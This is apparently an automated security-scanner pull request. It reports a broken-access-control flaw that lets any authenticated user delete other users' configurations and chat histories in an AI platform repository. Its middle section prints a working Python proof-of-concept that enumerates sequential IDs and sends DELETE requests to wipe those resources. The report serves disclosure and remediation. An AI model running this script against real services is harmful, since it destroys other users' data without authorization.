Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	High	In this AI platform repository, exploitation allows authenticated users to delete other users' configurations or chat histories, potentially disrupting AI agent behaviors, causing data loss for affected users, and exposing sensitive interaction data if histories contain private information, leading to significant service disruption and privacy breaches.
Likelihood	Medium	The repository appears to be a web-based AI service with user authentication, making it accessible to registered attackers who could guess sequential IDs; however, exploitation requires authentication and ID enumeration, which is not trivially easy but feasible for motivated attackers targeting multi-user platforms like this.
Ease of Fix	Medium	Remediation involves adding authorization checks in the config_controller.py to verify resource ownership before deletion, likely requiring code modifications to query user associations and possibly updating related endpoints, with moderate testing needed to ensure no regressions in the multi-agent AI functionality.

How This Vulnerability Can Be Exploited

The vulnerability in the config controller allows any authenticated user to delete configurations and chat histories belonging to other users by guessing sequential resource IDs, since the DELETE endpoints in server/app/controller/config/config_controller.py lack ownership verification checks. This is possible because the endpoints appear to rely solely on authentication (e.g., via JWT or session tokens) without additional authorization logic to ensure the requesting user owns the targeted resource. An attacker with valid credentials can systematically enumerate and delete resources, potentially disrupting user experiences or data integrity in this multi-agent AI system.

To demonstrate exploitation, assume the application is a Python-based web API (likely using FastAPI or Flask, based on the repository structure) running on a server accessible via HTTP. The attacker needs initial authentication, which could be obtained through legitimate login, a compromised account, or another vulnerability. The exploit involves sending DELETE requests to the vulnerable endpoints with guessed IDs. Below is a Python script using the requests library to simulate this attack. This assumes the API endpoints are /api/config/{id} and /api/chat/{id} (inferred from typical controller patterns in the repo; adjust if the actual routes differ based on the app's routing configuration).

import requests

# Step 1: Obtain authentication token (e.g., via login endpoint; this is a prerequisite)
# Assume the attacker has a valid JWT token from a compromised or legitimate session
auth_token = "Bearer YOUR_VALID_JWT_TOKEN_HERE"  # Replace with actual token obtained via login or other means

# Target API base URL (adjust for the deployment environment, e.g., localhost for testing or production URL)
base_url = "http://target-server.com/api"  # Replace with actual server URL

# Headers for authenticated requests
headers = {
    "Authorization": auth_token,
    "Content-Type": "application/json"
}

# Step 2: Guess and delete configurations (assuming sequential IDs starting from 1)
# Loop through possible IDs (attacker can start from 1 and increment until no more resources)
for config_id in range(1, 100):  # Adjust range based on expected ID space; in practice, attacker might probe indefinitely
    delete_url = f"{base_url}/config/{config_id}"
    response = requests.delete(delete_url, headers=headers)
    if response.status_code == 200:
        print(f"Successfully deleted config ID {config_id} (owned by another user)")
    elif response.status_code == 404:
        print(f"Config ID {config_id} not found - continue guessing")
    else:
        print(f"Unexpected response for config ID {config_id}: {response.status_code} - {response.text}")

# Step 3: Similarly, guess and delete chat histories (assuming same ID pattern)
for chat_id in range(1, 100):  # Adjust range as needed
    delete_url = f"{base_url}/chat/{chat_id}"
    response = requests.delete(delete_url, headers=headers)
    if response.status_code == 200:
        print(f"Successfully deleted chat history ID {chat_id} (owned by another user)")
    elif response.status_code == 404:
        print(f"Chat ID {chat_id} not found - continue guessing")
    else:
        print(f"Unexpected response for chat ID {chat_id}: {response.status_code} - {response.text}")

# Step 4: (Optional) Verify impact by checking if resources are gone
# Attacker could follow up with GET requests to confirm deletions, but this is not shown for brevity

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	None	This vulnerability enables unauthorized deletion rather than access or leakage of data. No sensitive data (e.g., user credentials, API keys, or chat contents) is exposed or stolen; resources are simply removed without the attacker viewing them.
System Compromise	None	No system-level access is gained. The exploit is limited to API-level operations within the application, with no ability to execute code, escalate privileges, or compromise the underlying server/container (e.g., no RCE or host escape).
Operational Impact	High	Successful exploitation could delete critical user configurations and chat histories, disrupting the multi-agent AI system's functionality for affected users (e.g., loss of personalized AI settings or conversation logs). If IDs are sequential and predictable, an attacker could wipe out a large portion of the database, causing service outages, user frustration, and potential data loss requiring backups for recovery. Blast radius includes all users whose resources are targeted, potentially affecting the entire application's user base if scaled.
Compliance Risk	Medium	Violates principles of access control (e.g., OWASP Top 10 A01:2021 - Broken Access Control), potentially leading to breaches of data integrity standards. If the system handles regulated data (e.g., user interactions in AI contexts that could involve sensitive topics), it might risk GDPR (right to erasure but unauthorized) or industry standards like SOC2 (data security and availability). No direct violations of encryption or audit logging, but could complicate compliance audits if deletions are not logged or recoverable.

Vulnerability Details

Rule ID: V-001
File: server/app/controller/config/config_controller.py
Description: The DELETE endpoints for configurations and chat histories appear to lack authorization checks to verify that the requesting user owns the resource they are attempting to delete. This allows any authenticated user to potentially delete resources belonging to other users by guessing sequential IDs.
